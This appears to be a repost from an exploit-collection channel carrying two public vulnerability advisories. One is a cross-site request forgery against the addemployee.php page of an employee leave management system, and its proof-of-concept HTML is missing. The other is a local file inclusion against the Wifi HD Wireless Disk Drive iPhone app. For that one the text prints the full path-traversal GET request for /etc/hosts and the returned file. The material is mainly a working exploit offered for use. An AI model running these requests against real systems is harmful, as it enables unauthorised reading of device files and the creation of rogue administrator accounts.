Hacking Articles Tips Tricks Videos Tutorials

5 views18:04

Exploit Collector
Online Employee Leave Management System 1.0 Cross Site Request Forgery

https://3.bp.blogspot.com/-vLPaJ0bXchM/WWlvcii8AuI/AAAAAAAAIPY/lohzKYQrhRkUA5ocnA3xRTtIEj7YZIM-ACLcBGAs/s1600/h77.png
Online Employee Leave Management System version 1.0 suffers from a cross site request forgery vulnerability.

SHA-256 | 0710715d45689c909a85c5900c640070b5bf1573e0e7b5eaa10c502265e786a4

Download

# Exploit Title: Online Employee Leave Management System 1.0 - Cross-Site Request Forgery (addemployee.php)
# Date: 05/09/2022
# Exploit Author: Amolo Hunters
# Software Link: https://www.sourcecodester.com/php/15374/online-employee-leave-management-system-php-free-source-code.html
# Version: 1.0
# Tested on: Linux

Title:
================
Online Employee Leave Management System 1.0 - Cross-Site Request Forgery (addemployee.php)

Summary:
================
The Online Employee Leave Management System suffers from a vulnerability called Cross-Site Request Forgery that affects the addemployee.php application used to add employees with administrative privileges. By failing to block against this attack, malicious users can take advantage of this weakness to spoof a request leading to the creation of a new account with administrative privileges.

Severity Level:
================
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Affected Product:
================
Online Employee Leave Management System v1.0

Steps to Reproduce:
================

1. Create an HTML file and paste the following code:
Online Employee Leave Management System (addemployee.php) CSRF PoC
Online Employee Leave Management System (addemployee.php) CSRF PoC
by Amolo Hunters
2. Save the file and run it in the browser
Note: you need to be logged in as an administrator

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Online Employee Leave Management System 1.0 Cross Site Request Forgery

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

5 viewsedited 18:04

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Wifi HD Wireless Disk Drive 11 Local File Inclusion

https://3.bp.blogspot.com/-Gb5I5b_xjQ0/WWlu86s-SoI/AAAAAAAAIJk/Vrr0JqyMe7wOp_97KyfJoVRHnDW4ZjPNwCLcBGAs/s1600/h112.png
Wifi HD Wireless Disk Drive version 11 suffers from a local file inclusion vulnerability.

SHA-256 | b20518edc15d62d991e82375c15b066d88b50865b9271eeedc4ac3a8e580a204

Download

# Exploit Title: Wifi HD Wireless Disk Drive Local File Inclusion
# Date: Aug 13, 2022
# Exploit Author: Chokri Hammedi
# Vendor Homepage: http://www.savysoda.com
# Software Link: https://apps.apple.com/us/app/wifi-hd-wireless-disk-drive/
id311170976
# Version: 11
# Tested on: iPhone OS 15_5
GET /../../../../../../../../../../../../../../../../etc/hosts HTTP/1.1
Host: 192.168.1.100
Connection: close
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X)
AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.5  Safari/604.1
Referer: http://192.168.1.103/
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Accept-Encoding: gzip, deflate
-----------------

HTTP/1.1 200 OK
Content-Disposition: attachment
Content-Type: application/download
Content-Length: 213
Accept-Ranges: bytes
Date: Sat, 13 Aug 2022 03:33:30 GMT

##
# Host Database
#
# localhost is used to configure the loopback interface
# when the system is booting.  Do not change this entry.
##
127.0.0.1 localhost
255.255.255.255 broadcasthost
::1             localhost